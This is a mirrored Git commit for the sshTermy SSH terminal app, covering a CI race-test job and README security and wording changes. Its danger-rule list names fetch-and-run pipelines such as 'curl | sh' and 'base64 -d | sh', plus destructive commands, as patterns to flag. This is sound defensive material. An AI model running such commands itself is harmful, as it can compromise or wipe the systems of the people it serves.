mirror of
https://github.com/db9979/sshtermy.git
synced 2026-12-05 12:24:08 +01:00
Sicherheit und Stabilität: Agent-Modus, Team-Abo, SFTP, Datenrennen, Englisch (#79)
* Sicherheit und Stabilität: Agent-Modus, Team-Abo, SFTP, Datenrennen, Englisch - Agent-Modus: sudo auch hinter && ; | $( ) erkannt; nvidia-smi -r/-pl, sensors -s, dmesg -n, ss -K, git --output, Format-Volume gelten nicht mehr als „nur lesen“; neue Gefahrenregeln (rm --recursive, find -delete, … | sh, base64 -d | sh) - Team-Paket/Abo: neue Verbindungen ohne Agent-/X11-Weiterleitung, lokale Shell, cmd:-Passwortquelle und fremde Key-Pfade - SFTP: Ordner-Download lehnt Dateinamen mit Pfadanteilen ab (../) - Zuschauer-Tab: Gastgeber kann nicht in die Zwischenablage schreiben (OSC 52) - KI: Weiterleitungen nur zum selben Host (x-api-key) - Terminal-Emulator: drei Datenrennen behoben (Close, PlainLines, CursorLine), CI prüft jetzt mit -race - Englisch einheitlich: color/customize/gray, Anführungszeichen “…” statt „…“ Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018i4GUjAH5uHVKpZLzqsQSp * Absturztest ohne epoll-Leser (Datenrennen in cancelreader beim Panik-Abbau) Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018i4GUjAH5uHVKpZLzqsQSp --------- Co-authored-by: Claude <noreply@anthropic.com>
This commit is contained in:
1 parent
257f1e24dd
commit
044c575034
55 files changed
+481
-277
No files matched your search
@@ -28,6 +28,16 @@ jobs:
|
||||
CGO_ENABLED=0 GOARM=7 GOOS=${t%/*} GOARCH=${t#*/} go build -o /dev/null ./cmd/sshtermy
|
||||
done
|
||||
|
||||
# Datenrennen (Terminal-Emulator, Vermittler, SSH) früh finden
|
||||
race:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
- run: go test -race ./...
|
||||
|
||||
packaging:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
|
||||
+5
-4
@@ -422,10 +422,10 @@ Windows-Anmeldung ──DPAPI CryptProtectData───────────
|
||||
### KI
|
||||
|
||||
- Die KI **tippt nie selbst**. Jeder Befehl ist ein Vorschlag; erst deine Bestätigung sendet ihn ans PTY.
|
||||
- **Feste Gefahrenregeln** (`internal/safety`), nie das Modell, entscheiden über Rot: `rm -rf`, `dd`, `mkfs`,
|
||||
`curl | sh`, Neustart, Firewall leeren, Benutzer ändern, `git reset --hard`, Pakete entfernen, Docker prune,
|
||||
- **Feste Gefahrenregeln** (`internal/safety`), nie das Modell, entscheiden über Rot: `rm -rf`, `find -delete`, `dd`, `mkfs`,
|
||||
`curl | sh`, `… | base64 -d | sh`, Neustart, Firewall leeren, Benutzer ändern, `git reset --hard`, Pakete entfernen, Docker prune,
|
||||
SSH-Dienst stoppen; für Windows `Remove-Item -Recurse`, `Format-Volume`, `iex (iwr …)` u. a.
|
||||
Rote Befehle brauchen zwei Bestätigungen; bearbeitete Befehle werden neu geprüft. `sudo` wird markiert.
|
||||
Rote Befehle brauchen zwei Bestätigungen; bearbeitete Befehle werden neu geprüft. `sudo` wird markiert, auch hinter `&&`, `;` oder `|`.
|
||||
- **Einfügeschutz:** Dieselben Regeln prüfen jede eingefügte Zeile. Ein Treffer zeigt die Vorschau mit der
|
||||
roten Zeile und braucht zwei Bestätigungen, auch wenn die Mehrzeilen-Vorschau abgeschaltet ist.
|
||||
- **Prompt Injection:** alles aus dem Terminal steht als Material in einem Block `<<< … >>>`, dessen Marker im
|
||||
@@ -614,7 +614,8 @@ Wahl), gelernte abgelehnte Vorschläge, KI- und Sync-Einstellungen. Bleibt das P
|
||||
|
||||
Der Kollege nimmt Strg+Leertaste → „Team-Paket übernehmen“: Datei, Passwort, Zielordner (Standard „Team“). Eine
|
||||
Vorschau zeigt neue und aktualisierte Einträge. Wer dasselbe Paket später erneut übernimmt, bekommt die Änderungen;
|
||||
eigene Passwörter, Keys und Benutzernamen bleiben erhalten.
|
||||
eigene Passwörter, Keys und Benutzernamen bleiben erhalten. Zur Sicherheit kommen neue Einträge ohne Agent- und
|
||||
X11-Weiterleitung, ohne Befehl für die lokale Shell und ohne `cmd:`-Passwortquelle an; das schaltet man bei Bedarf selbst ein.
|
||||
|
||||
### Team-Ordner: automatisch aktuell
|
||||
|
||||
|
||||
@@ -17,16 +17,16 @@ sshTermy is a lean terminal application (TUI, a single file, ~9 MB, no installer
|
||||
- **a real SSH terminal** (xterm-256color, truecolor, vim/htop/tmux, scrollback, tabs, jump hosts)
|
||||
- **Auto-reconnect**: if the line drops (Wi-Fi, VPN, standby), sshTermy reconnects the session by itself, restarts running tunnels and reattaches tmux/screen (can be turned off in the palette)
|
||||
- **Persistent session** (idea: Dominik Bornhäußer): per connection, always land in the same tmux/screen session on connect, even from another computer. Other sessions already running? sshTermy asks which one. Same session name in two tabs or on two computers = mirrored screen; "view only" attaches tmux read-only. The palette opens a second watching tab or copies an `ssh … tmux attach -r` command for colleagues. Not on switches, Telnet or console.
|
||||
- **Local shell** (Alt+L): your own PowerShell (Windows, via ConPTY), zsh or bash (macOS/Linux) as a tab, with AI help, goal/agent/plan mode, split view, tabs and session log. Danger rules and agent levels apply on your own computer too; the agent drops its scripts in `~/.sshtermy-agent`. Or save it as a connection („Connect via: Local“) with its own shell (`pwsh`, `cmd`, `wsl`, `bash -l` …) and start folder
|
||||
- **Local shell** (Alt+L): your own PowerShell (Windows, via ConPTY), zsh or bash (macOS/Linux) as a tab, with AI help, goal/agent/plan mode, split view, tabs and session log. Danger rules and agent levels apply on your own computer too; the agent drops its scripts in `~/.sshtermy-agent`. Or save it as a connection (“Connect via: Local”) with its own shell (`pwsh`, `cmd`, `wsl`, `bash -l` …) and start folder
|
||||
- **Quick connect**: type `user@host:port` or `ssh -p 2222 user@host` into the palette without saving the connection (agent/default keys, otherwise password)
|
||||
- **Finished in the background**: a command that ran 10 s or longer in a hidden tab marks the tab (✓ / ×) and shows a toast; if the sshTermy window is in the background you also get a desktop notification (Windows, macOS, Linux). The terminal bell marks the tab too. Both can be switched off in the palette
|
||||
- **Agent forwarding** per connection (like `ssh -A`): `git pull`, `ssh` and `scp` on the server use your local keys from ssh-agent, Pageant or the Windows OpenSSH agent, the keys never leave your computer
|
||||
- **X11 forwarding** per connection (like `ssh -X`): graphical programs from the server open here; needs a local X server (XQuartz, VcXsrv, WSLg), the X cookie never leaves your computer
|
||||
- **FIDO2 security keys** (`id_ed25519_sk`, `id_ecdsa_sk`, e.g. YubiKey) are used directly; sshTermy asks you to touch the key (needs OpenSSH ssh-agent/ssh-add)
|
||||
- **Password manager instead of stored passwords**: in the connection form „Password from“ and (under Advanced)
|
||||
„2FA code from“: `op://Vault/Item/password` (1Password CLI), `bw:Item` (Bitwarden CLI), `keepassxc:file.kdbx:Item`
|
||||
- **Password manager instead of stored passwords**: in the connection form “Password from” and (under Advanced)
|
||||
“2FA code from”: `op://Vault/Item/password` (1Password CLI), `bw:Item` (Bitwarden CLI), `keepassxc:file.kdbx:Item`
|
||||
(KeePassXC, asks for the database password), `pass:name` or `cmd:command`. When a server asks for a one-time code
|
||||
(„Verification code“), sshTermy takes the TOTP code from the same source, also after a key login.
|
||||
(“Verification code”), sshTermy takes the TOTP code from the same source, also after a key login.
|
||||
Only the reference is stored, never the password
|
||||
- **Kerberos/GSSAPI login** (login `kerberos`): uses the company domain ticket from the Windows sign-in or `kinit`, no password needed; without a ticket it falls back to the password
|
||||
- **Images in the terminal**: Sixel (`img2sixel`, `chafa -f sixel`, gnuplot), the kitty graphics protocol (`kitty +kitten icat`, `viu`, `timg`) and iTerm2 inline images (`imgcat`) show up as colored half blocks right in the text, in every terminal with 24-bit color, in the scrollback and in split view. Two pixels per cell, so plots and photos are recognizable, not pixel-perfect
|
||||
@@ -35,15 +35,15 @@ sshTermy is a lean terminal application (TUI, a single file, ~9 MB, no installer
|
||||
- **Type into all split panes** (Alt+I in split view): what you type goes live to every visible host, e.g. the same change on four switches. Enter only goes through if the line is harmless on every host
|
||||
- **SSH certificates**: keys signed by a company CA (`id_ed25519-cert.pub` next to the key, or any path in the connection) are used automatically; an expired certificate is reported with its date
|
||||
- **Files right in the terminal (trzsz)**: run `tsz file` on the server to download into your Downloads folder, or `trz` to upload; works through `sudo su`, several hops and devices without SFTP. ZMODEM (`sz`/`rz`) is detected and cancelled with a hint instead of hanging
|
||||
- **Screen lock**: palette „Lock now“ or automatically when idle (5/15/30/60 min). Open sessions keep running behind the lock, only the master password unlocks the screen
|
||||
- **Status line per session**: connection time, latency, character set, warning for root; production hosts (group/tag „Produktion“, „prod“, „live“) get a red line
|
||||
- **Screen lock**: palette “Lock now” or automatically when idle (5/15/30/60 min). Open sessions keep running behind the lock, only the master password unlocks the screen
|
||||
- **Status line per session**: connection time, latency, character set, warning for root; production hosts (group/tag “Produktion”, “prod”, “live”) get a red line
|
||||
- **Files (F5)**: SFTP over the same connection, local on the left, server on the right, upload and download files and folders, drag with the mouse to the other side, mark several with Space. Dragging files from Explorer/Finder into the window uploads them, even straight from the terminal
|
||||
- **Server file in your own editor**: `e` in F5 (server side) or the palette entry „Open server file in your own editor“ with a path opens the file in VS Code, Notepad++, TextEdit … on your computer; every save uploads it back over the same connection (owner and permissions stay). Choose the editor: palette → Settings › „Editor for server files“ (e.g. `code --new-window`)
|
||||
- **Color rules for output**: text without its own color gets colored, errors red, warnings yellow, ok/up green, IP addresses blue, MAC addresses purple, switch syslog (`%LINK-3-UPDOWN`) by severity; never in vim/htop. Own rules „color pattern“ (palette → „Color rules for output“); with `!` in front sshTermy notifies you when the pattern shows up in a hidden tab (the tab gets a `!`, a toast, a desktop notification if you like)
|
||||
- **Server file in your own editor**: `e` in F5 (server side) or the palette entry “Open server file in your own editor” with a path opens the file in VS Code, Notepad++, TextEdit … on your computer; every save uploads it back over the same connection (owner and permissions stay). Choose the editor: palette → Settings › “Editor for server files” (e.g. `code --new-window`)
|
||||
- **Color rules for output**: text without its own color gets colored, errors red, warnings yellow, ok/up green, IP addresses blue, MAC addresses purple, switch syslog (`%LINK-3-UPDOWN`) by severity; never in vim/htop. Own rules “color pattern” (palette → “Color rules for output”); with `!` in front sshTermy notifies you when the pattern shows up in a hidden tab (the tab gets a `!`, a toast, a desktop notification if you like)
|
||||
- **Host overview (F6)**: servers show CPU, load, RAM, disk, uptime and pending updates when you connect. Switches (ArubaOS-Switch/ProCurve, ArubaOS-CX, Cisco IOS) show firmware, ports and VLANs on request; the show commands run visibly at the prompt, never as a hidden exec session
|
||||
- **Containers** (`c` in F6 or palette „docker“): Docker and Podman containers and Kubernetes pods of the server in one list. ⏎ opens a shell in the container, Ctrl+L follows the logs, Ctrl+K lets the AI analyze the last 400 log lines. Restart and start/stop are only inserted at the prompt, ⏎ runs them. Uses `sudo -n` when docker needs root and sudo works without a password
|
||||
- **Containers** (`c` in F6 or palette “docker”): Docker and Podman containers and Kubernetes pods of the server in one list. ⏎ opens a shell in the container, Ctrl+L follows the logs, Ctrl+K lets the AI analyze the last 400 log lines. Restart and start/stop are only inserted at the prompt, ⏎ runs them. Uses `sudo -n` when docker needs root and sudo works without a password
|
||||
- **Config backup for switches**: `b` saves `show running-config` encrypted on your computer, `d` shows the diff to the previous state, unchanged states are not stored twice.
|
||||
Nightly runs go through a schedule (`z`, type „Config backup“) for a whole folder. **Switch config rules**
|
||||
Nightly runs go through a schedule (`z`, type “Config backup”) for a whole folder. **Switch config rules**
|
||||
(palette → Settings): `+^ntp server` must appear, `-telnet-server` must not; every backup is checked,
|
||||
violations show in the F6 panel, as a toast and in the schedule result
|
||||
- **Find device**: type a MAC (any notation) or IP into the palette, sshTermy asks all switches for their MAC,
|
||||
@@ -51,13 +51,13 @@ sshTermy is a lean terminal application (TUI, a single file, ~9 MB, no installer
|
||||
by their LLDP neighbors and listed last
|
||||
- **Several networks**: if your switches sit in different folders (one per customer or site), find device and
|
||||
topology first ask which folder to query, or all of them; the last choice is preselected
|
||||
- **Network topology** (palette „topo“): the LLDP/CDP neighbors of all switches become a tree (who is connected to
|
||||
- **Network topology** (palette “topo”): the LLDP/CDP neighbors of all switches become a tree (who is connected to
|
||||
which port of whom, APs and phones as leaves), plus a Mermaid diagram in Downloads for docs, wiki or GitHub
|
||||
- **Broadcast** (m in the manager): one command or runbook runs in parallel on a group (e.g. all Aruba switches),
|
||||
the results are shown side by side in columns. The danger rules apply here too: red needs ⏎ twice.
|
||||
Servers get every step via exec (with exit code), network devices get the commands typed into their shell („-- MORE --“ is paged automatically).
|
||||
Servers get every step via exec (with exit code), network devices get the commands typed into their shell (“-- MORE --” is paged automatically).
|
||||
- **Schedules** (z in the manager): a broadcast or runbook runs at a set time on a folder or single connections,
|
||||
daily, Mon–Fri, on weekends or on one weekday, e.g. „3:00 Mon–Fri `show running-config` on all switches“.
|
||||
daily, Mon–Fri, on weekends or on one weekday, e.g. “3:00 Mon–Fri `show running-config` on all switches”.
|
||||
Runs while sshTermy is open (also when locked), missed runs are caught up within 12 hours.
|
||||
Unattended there are no questions: unknown host keys and missing passwords make that host fail,
|
||||
dangerous steps and runbooks with variables cannot be scheduled at all. The result per host is in the list
|
||||
@@ -67,17 +67,17 @@ sshTermy is a lean terminal application (TUI, a single file, ~9 MB, no installer
|
||||
`{{user}}`, `{{port}}` are filled in per host. In the broadcast `e` loads a runbook for editing, `Ctrl+R` saves,
|
||||
`Ctrl+D` deletes. Before the run `k` lets the AI check the steps against each host's system profile and suggest
|
||||
equivalents (`a` applies them). Whether something is dangerous is still decided by the fixed rules.
|
||||
- **Danger check:** on production hosts (folder, tag or alias with „prod“, tag „live“) sshTermy asks before risky
|
||||
- **Danger check:** on production hosts (folder, tag or alias with “prod”, tag “live”) sshTermy asks before risky
|
||||
commands run (`rm -rf`, `reboot`, on switches `reload`, `erase`, `write erase`, `delete`, `no vlan` …). Only `y` runs
|
||||
them, Esc leaves the line in place. Palette „Danger check on all hosts“ extends it to every host.
|
||||
- **Export recordings:** palette „Start recording“ records the tab as an asciinema file (`.cast`, with colours and
|
||||
them, Esc leaves the line in place. Palette “Danger check on all hosts” extends it to every host.
|
||||
- **Export recordings:** palette “Start recording” records the tab as an asciinema file (`.cast`, with colors and
|
||||
vim/htop), playable with `asciinema play`. Session logs (`l`, then `x`) export as Markdown, text or a rebuilt
|
||||
recording; „Export terminal history as text“ saves the scrollback. Everything goes to your Downloads folder.
|
||||
recording; “Export terminal history as text” saves the scrollback. Everything goes to your Downloads folder.
|
||||
- **Network scan** (f in the manager): search a subnet for SSH devices (only port and SSH banner, no login),
|
||||
recognize switches and routers by their banner and create the hits as connections with one key press.
|
||||
- **Tunnel manager**: `-L`, `-R`, `-D` (SOCKS5) and one-click web services with a local URL; saved per connection, one click turns them on/off, optionally start with the connection; works through jump hosts
|
||||
- **Relay for servers behind NAT/firewall**: the server itself connects out to a relay (`sshtermy anker`), sshTermy reaches its sshd through it without an open port. SSH runs end to end, files and tunnels work as usual. sshTermy brings its own relay (`sshtermy relay`, also `sshtermy vermittler`); Speech on DGX Spark can serve as a relay too ([guide, German](docs/vermittler.md))
|
||||
- **Share a session live** (palette „share“): over your own relay a tab becomes visible to colleagues, the link (in the clipboard) is all they need, pasted into their sshTermy palette. Viewers only watch, their keys go nowhere. Every piece is encrypted with a key that is only in the link (after `#`), the relay sees nothing but ciphertext. Up to 10 viewers, a newcomer gets the current screen first
|
||||
- **Share a session live** (palette “share”): over your own relay a tab becomes visible to colleagues, the link (in the clipboard) is all they need, pasted into their sshTermy palette. Viewers only watch, their keys go nowhere. Every piece is encrypted with a key that is only in the link (after `#`), the relay sees nothing but ciphertext. Up to 10 viewers, a newcomer gets the current screen first
|
||||
- **AI copilot** for any OpenAI-compatible endpoint (`/v1/chat/completions`: OpenAI, vLLM, SGLang, Ollama, LiteLLM, LocalAI)
|
||||
- **Command palette** (Ctrl+Space): one input field for everything; text becomes a goal or a question, plus suggestions, tunnels, connections and actions
|
||||
- **Ghost text** while typing (Tab accepts)
|
||||
@@ -100,25 +100,25 @@ sshTermy is a lean terminal application (TUI, a single file, ~9 MB, no installer
|
||||
- **System profile per connection**: sshTermy detects system, version and command set (Linux with package manager and
|
||||
init system, macOS, Windows, ArubaOS-Switch/ProCurve, ArubaOS-CX, Cisco IOS, Junos, RouterOS, Comware …) from the
|
||||
SSH banner, an invisible query (servers only) and the terminal it reads along (network devices, no exec).
|
||||
The profile goes into every AI prompt; commands the device rejects with „% Invalid input“ are remembered and the
|
||||
The profile goes into every AI prompt; commands the device rejects with “% Invalid input” are remembered and the
|
||||
AI stops suggesting them. Editable in the manager (system, command set, AI notes). In the palette,
|
||||
„Rewrite for this system“ rewrites a command into the matching dialect.
|
||||
- **Explain errors**: when a command fails, the suggestion line offers „Why? & Fix“ (Alt+0). The AI gets the
|
||||
“Rewrite for this system” rewrites a command into the matching dialect.
|
||||
- **Explain errors**: when a command fails, the suggestion line offers “Why? & Fix” (Alt+0). The AI gets the
|
||||
command, exit code and output and answers with the cause and commands you can insert
|
||||
- **Log diagnosis**: palette „AI: analyze log/output“ (or select text first): the AI reads the selection or the last
|
||||
- **Log diagnosis**: palette “AI: analyze log/output” (or select text first): the AI reads the selection or the last
|
||||
400 lines (journalctl, `show logging`, dmesg …) and answers with the situation, what stands out with timestamps,
|
||||
the likely cause and read-only commands to check, as cards
|
||||
- **Session log** (manager: `l`): every session is recorded locally and encrypted (commands, output,
|
||||
failures), searchable, with an AI summary of one session (`z`) or of all matches (`Z`, e.g. search for a host:
|
||||
„What did I do on host X?“) and Markdown export (`x`). **Change report** (`b`): the AI writes, for a day, a host or
|
||||
“What did I do on host X?”) and Markdown export (`x`). **Change report** (`b`): the AI writes, for a day, a host or
|
||||
one session, what was changed on which host (with commands, failures, open items), ready for a ticket or docs; it
|
||||
lands in the clipboard right away and as a Markdown file in Downloads
|
||||
- **Sync between computers**: connections, tunnels, runbooks and settings end-to-end encrypted via a cloud folder
|
||||
(OneDrive, Dropbox, iCloud, Syncthing) or directly via your NAS (Synology, QNAP, Nextcloud, any WebDAV server)
|
||||
- **Import** of existing connections from `~/.ssh/config`, PuTTY (registry or `.reg` export), MobaXterm
|
||||
(`MobaXterm.ini`, `.mxtsessions`), Ansible inventories (INI or YAML) and CSV (also the NetBox device export), with jump hosts and folders, one key press (i in the manager). `e` there exports all connections as CSV (without passwords)
|
||||
- **Themes** dark, light, high contrast, Matrix, Amber and Neon (a in the manager), **custom colours** and consistent menu icons (text tags or Nerd Font) and **freely assignable keyboard shortcuts** (b in the manager)
|
||||
- **English and German**: switch the language in the palette („Language“/„Sprache“) or in the About dialog (F12 → `l`);
|
||||
- **Themes** dark, light, high contrast, Matrix, Amber and Neon (a in the manager), **custom colors** and consistent menu icons (text tags or Nerd Font) and **freely assignable keyboard shortcuts** (b in the manager)
|
||||
- **English and German**: switch the language in the palette (“Language”/“Sprache”) or in the About dialog (F12 → `l`);
|
||||
the choice is saved and synced. On first start sshTermy follows the system language
|
||||
- **Versioning and auto-update** from GitHub Releases (signed)
|
||||
|
||||
@@ -179,7 +179,7 @@ changed in the manager with `b`.
|
||||
sshtermy # start
|
||||
sshtermy --version # version, commit, build date
|
||||
sshtermy --update # update to the newest version
|
||||
sshtermy --no-intro # without the start animation (permanently: palette „Start animation off“)
|
||||
sshtermy --no-intro # without the start animation (permanently: palette “Start animation off”)
|
||||
```
|
||||
|
||||
## Usage
|
||||
@@ -193,7 +193,7 @@ sshtermy --no-intro # without the start animation (permanently: palette „Sta
|
||||
| | c / q | create or copy an SSH key / edit quick commands |
|
||||
| | m / f / z | broadcast to several hosts / network scan / schedules (Ctrl+N new, Ctrl+E edit, Ctrl+R now, Ctrl+O on/off, ⏎ last result) |
|
||||
| | w / g | workspaces (saved split layouts) / open a folder as a grid |
|
||||
| Folders | o / r / v / d | create folder („A / B“ nested) / rename / move / dissolve (content stays) |
|
||||
| Folders | o / r / v / d | create folder (“A / B” nested) / rename / move / dissolve (content stays) |
|
||||
| | ← → Space / - + | collapse/expand folder / collapse or expand all |
|
||||
| | Shift+↑↓ (Alt+↑↓), drag with the mouse | change the order, drag into a folder |
|
||||
| | # , /#tag | filter by tag, search by name, host, folder, tags |
|
||||
@@ -221,7 +221,7 @@ sshtermy --no-intro # without the start animation (permanently: palette „Sta
|
||||
| | Alt+1…4 | insert follow-up command (without Enter; red ones twice) |
|
||||
| | Alt+0 | after a failure: the AI explains the cause and suggests a fix |
|
||||
| | Ctrl+click / right-click | open URL in the browser / menu for a link, IP or host: connect (directly or via the server), ping from the server or from here, copy |
|
||||
| | Paste | multi-line shows a preview first (⏎ paste, o without the last Enter, Esc cancel); palette „Paste guard off“ |
|
||||
| | Paste | multi-line shows a preview first (⏎ paste, o without the last Enter, Esc cancel); palette “Paste guard off” |
|
||||
| Goal mode | ↑↓ / Ctrl+S / Ctrl+D | choose runbook / save goal as runbook / delete runbook |
|
||||
| | ⏎ / i / e / s / r / x | run / only insert (dry run) / edit / skip / suggest again / end |
|
||||
| | Tab | step by step → agent *Careful* → *Normal* → *Full* → *Plan first* |
|
||||
@@ -236,23 +236,23 @@ sshtermy --no-intro # without the start animation (permanently: palette „Sta
|
||||
| | F1 / F12 / Ctrl+Q | help / about + update / quit |
|
||||
| | F12 → l / F12 → w | switch language (English ↔ German) / what's new |
|
||||
|
||||
Why function keys instead of `Ctrl+A`? In bash/zsh `Ctrl+A` means „beginning of line“ and it is the prefix of GNU screen.
|
||||
Why function keys instead of `Ctrl+A`? In bash/zsh `Ctrl+A` means “beginning of line” and it is the prefix of GNU screen.
|
||||
sshTermy only binds keys that shells and full-screen programs practically never need.
|
||||
|
||||
**Customize keys** (b in the manager or palette → „Customize shortcuts“): pick an action, ⏎, press the new key.
|
||||
**Customize keys** (b in the manager or palette → “Customize shortcuts”): pick an action, ⏎, press the new key.
|
||||
Del resets an action, r resets all. Duplicate bindings are marked red. Alt+⏎ is blocked because
|
||||
Windows Terminal uses it for full screen. Your bindings travel to your other computers with the sync.
|
||||
|
||||
**Language:** palette (Ctrl+Space) → „Language“ or F12 → `l` switches between English and German, immediately and
|
||||
**Language:** palette (Ctrl+Space) → “Language” or F12 → `l` switches between English and German, immediately and
|
||||
without a restart. The choice is stored in the settings (synced to your other computers) and additionally, unencrypted,
|
||||
in the file `language` in the config folder so that the unlock screen already knows it. Without that file the system
|
||||
language decides (`LANG`/`LC_ALL`, on Windows the display language): German on a German system, otherwise English.
|
||||
The instructions to the AI stay in German internally; with English selected, the AI answers in English.
|
||||
|
||||
**Appearance:** a in the manager switches dark → light → high contrast → Matrix (green) → Amber (retro) → Neon (or
|
||||
palette → Settings › "Appearance"). **Customise colours** in the same submenu: pick a template, then change each colour
|
||||
palette → Settings › "Appearance"). **Customize colors** in the same submenu: pick a template, then change each color
|
||||
with ←/→ (hue), +/− (brightness) or as a hex value; the whole UI previews it live, a contrast check warns about hard to
|
||||
read colours, Ctrl+S saves (synced to your other computers).
|
||||
read colors, Ctrl+S saves (synced to your other computers).
|
||||
|
||||
**Icons:** Settings › "Icons: …" offers four styles (synced to your other computers). Three work with any terminal font because
|
||||
they only use characters Cascadia Mono, Menlo and co. have themselves: **text tags** (default) like `[+]` `[k]` `[/]`,
|
||||
@@ -271,19 +271,19 @@ PuTTY export (`reg export HKCU\Software\SimonTatham\PuTTY putty.reg`), a portabl
|
||||
`.mxtsessions` file. Passwords are not imported, sshTermy asks for them on the first connect. sshTermy reads PuTTY keys
|
||||
(`.ppk`, version 2 and 3, with or without passphrase) directly, no Pageant needed.
|
||||
|
||||
**Telnet and serial console:** in the connection form, „Connection type“ switches between SSH, Telnet and
|
||||
„Serial (console cable)“, e.g. for an Aruba switch on a USB console cable. Port „automatic“ uses the only USB
|
||||
**Telnet and serial console:** in the connection form, “Connection type” switches between SSH, Telnet and
|
||||
“Serial (console cable)”, e.g. for an Aruba switch on a USB console cable. Port “automatic” uses the only USB
|
||||
console cable that is plugged in, so a synced connection also works on the other computer (COM5 on Windows,
|
||||
`/dev/cu.usbserial-…` on macOS, `/dev/ttyUSB0` on Linux). Default 9600 baud 8N1. If user and password are stored,
|
||||
sshTermy types them as soon as the device asks (and answers „Press any key to continue“). In the palette,
|
||||
`telnet 10.0.0.5`, `COM3` or `console /dev/ttyUSB0 115200` connects right away; palette → „Send break“ sends a serial
|
||||
sshTermy types them as soon as the device asks (and answers “Press any key to continue”). In the palette,
|
||||
`telnet 10.0.0.5`, `COM3` or `console /dev/ttyUSB0 115200` connects right away; palette → “Send break” sends a serial
|
||||
break. Host overview (F6), config backup, quick commands and the AI work as with SSH; files, tunnels and broadcast
|
||||
need SSH. Linux: the user needs to be in the `dialout` group. Telnet is unencrypted, use it only in trusted networks.
|
||||
|
||||
**Local shell:** Alt+L (or the first entry under Alt+N, or palette → „Open local shell“) opens the shell of your own
|
||||
**Local shell:** Alt+L (or the first entry under Alt+N, or palette → “Open local shell”) opens the shell of your own
|
||||
computer in a tab: PowerShell 7 (`pwsh`), otherwise Windows PowerShell or cmd on Windows (ConPTY, Windows 10 1809 or
|
||||
newer), your login shell on macOS and `$SHELL` on Linux. Typing `pwsh`, `cmd`, `wsl -d Ubuntu` or `zsh` in the palette
|
||||
starts that one. As a saved connection („Connect via: Local (this computer)“) you can set the shell and a start folder;
|
||||
starts that one. As a saved connection (“Connect via: Local (this computer)”) you can set the shell and a start folder;
|
||||
left empty, each computer uses its own default, so a synced entry works on Windows and Mac alike. The AI knows whether it
|
||||
is talking to PowerShell, cmd or a Unix shell; danger rules and the agent levels work as on a server. Files (F5),
|
||||
tunnels and broadcast need SSH.
|
||||
@@ -410,7 +410,7 @@ Windows login ──DPAPI CryptProtectData────────────
|
||||
### SSH
|
||||
|
||||
- **Host keys:** trust on first use with a SHA-256 fingerprint in the dialog, own `known_hosts`. A **changed**
|
||||
host key aborts the connection, without „connect anyway“ (possible man-in-the-middle).
|
||||
host key aborts the connection, without “connect anyway” (possible man-in-the-middle).
|
||||
- Agent auth preferred: private keys stay in the agent. Embedded keys are only stored encrypted in the store.
|
||||
- Tunnels bind to `127.0.0.1` by default. SOCKS5 resolves names on the server (no local DNS leaks).
|
||||
- **SSH keys (`c` in the manager):** generates ed25519 or RSA-4096 keys (like `ssh-keygen`, optionally with a
|
||||
@@ -423,10 +423,10 @@ Windows login ──DPAPI CryptProtectData────────────
|
||||
### AI
|
||||
|
||||
- The AI **never types by itself**. Every command is a suggestion; only your confirmation sends it to the PTY.
|
||||
- **Fixed danger rules** (`internal/safety`), never the model, decide what is red: `rm -rf`, `dd`, `mkfs`,
|
||||
`curl | sh`, reboot, flushing the firewall, changing users, `git reset --hard`, removing packages, Docker prune,
|
||||
- **Fixed danger rules** (`internal/safety`), never the model, decide what is red: `rm -rf`, `find -delete`, `dd`, `mkfs`,
|
||||
`curl | sh`, `… | base64 -d | sh`, reboot, flushing the firewall, changing users, `git reset --hard`, removing packages, Docker prune,
|
||||
stopping the SSH service; on Windows `Remove-Item -Recurse`, `Format-Volume`, `iex (iwr …)` and more.
|
||||
Red commands need two confirmations; edited commands are checked again. `sudo` is marked.
|
||||
Red commands need two confirmations; edited commands are checked again. `sudo` is marked, also behind `&&`, `;` or `|`.
|
||||
- **Paste guard:** the same rules check every pasted line. A hit shows the preview with the
|
||||
red line and needs two confirmations, even if the multi-line preview is turned off.
|
||||
- **Prompt injection:** everything from the terminal is passed as material in a `<<< … >>>` block whose markers are
|
||||
@@ -443,9 +443,9 @@ Windows login ──DPAPI CryptProtectData────────────
|
||||
- **Provider** in the AI settings (`s`): Spark / any OpenAI-compatible server (vLLM, SGLang, LiteLLM, LM Studio),
|
||||
Ollama, OpenAI or Claude (Anthropic Messages API). ←/→ switches and prefills address and model; Ctrl+L lists
|
||||
the provider's models, Ctrl+T tests.
|
||||
- **Fallback providers** (settings → „Fallback providers“, or `r` in the AI status): up to three, tried in order
|
||||
- **Fallback providers** (settings → “Fallback providers”, or `r` in the AI status): up to three, tried in order
|
||||
when the endpoint does not answer. A failed endpoint is skipped for 5 minutes or until the background check
|
||||
reaches it again. The status dot turns yellow and shows „fallback: Claude“ while a fallback answers.
|
||||
reaches it again. The status dot turns yellow and shows “fallback: Claude” while a fallback answers.
|
||||
- Cloud providers always need an API key; keys are stored encrypted like passwords.
|
||||
|
||||
### Error detection and session log
|
||||
@@ -570,7 +570,7 @@ below says what to do, e.g. where to enable WebDAV in DSM or QTS.
|
||||
| Location | What you enter | Notes |
|
||||
|---|---|---|
|
||||
| **Folder (cloud)** | a folder in OneDrive, Dropbox, iCloud Drive, the Nextcloud client, Syncthing or on a network drive | Cloud folders that are found are suggested. Conflict copies of the cloud service are merged automatically. |
|
||||
| **NAS / WebDAV: Synology** | name/IP, user, password | Install the „WebDAV Server“ package, enable HTTPS. sshTermy finds port 5006/5005 by itself. Folder e.g. `/home/sshtermy`. |
|
||||
| **NAS / WebDAV: Synology** | name/IP, user, password | Install the “WebDAV Server” package, enable HTTPS. sshTermy finds port 5006/5005 by itself. Folder e.g. `/home/sshtermy`. |
|
||||
| **NAS / WebDAV: QNAP** | name/IP, user, password | Control Panel › Network & File Services › enable WebDAV. Ports 8081/443/8080/80 are tried. |
|
||||
| **NAS / WebDAV: Nextcloud** | address, user, app password | The path `/remote.php/dav/files/<user>/` is built automatically. |
|
||||
| **Other** | full WebDAV URL | any WebDAV server (Apache, nginx, rclone serve webdav …) |
|
||||
@@ -584,19 +584,19 @@ plain text, not even host names. The local store stays bound to each computer vi
|
||||
you enter the sync password only once per computer during setup.
|
||||
|
||||
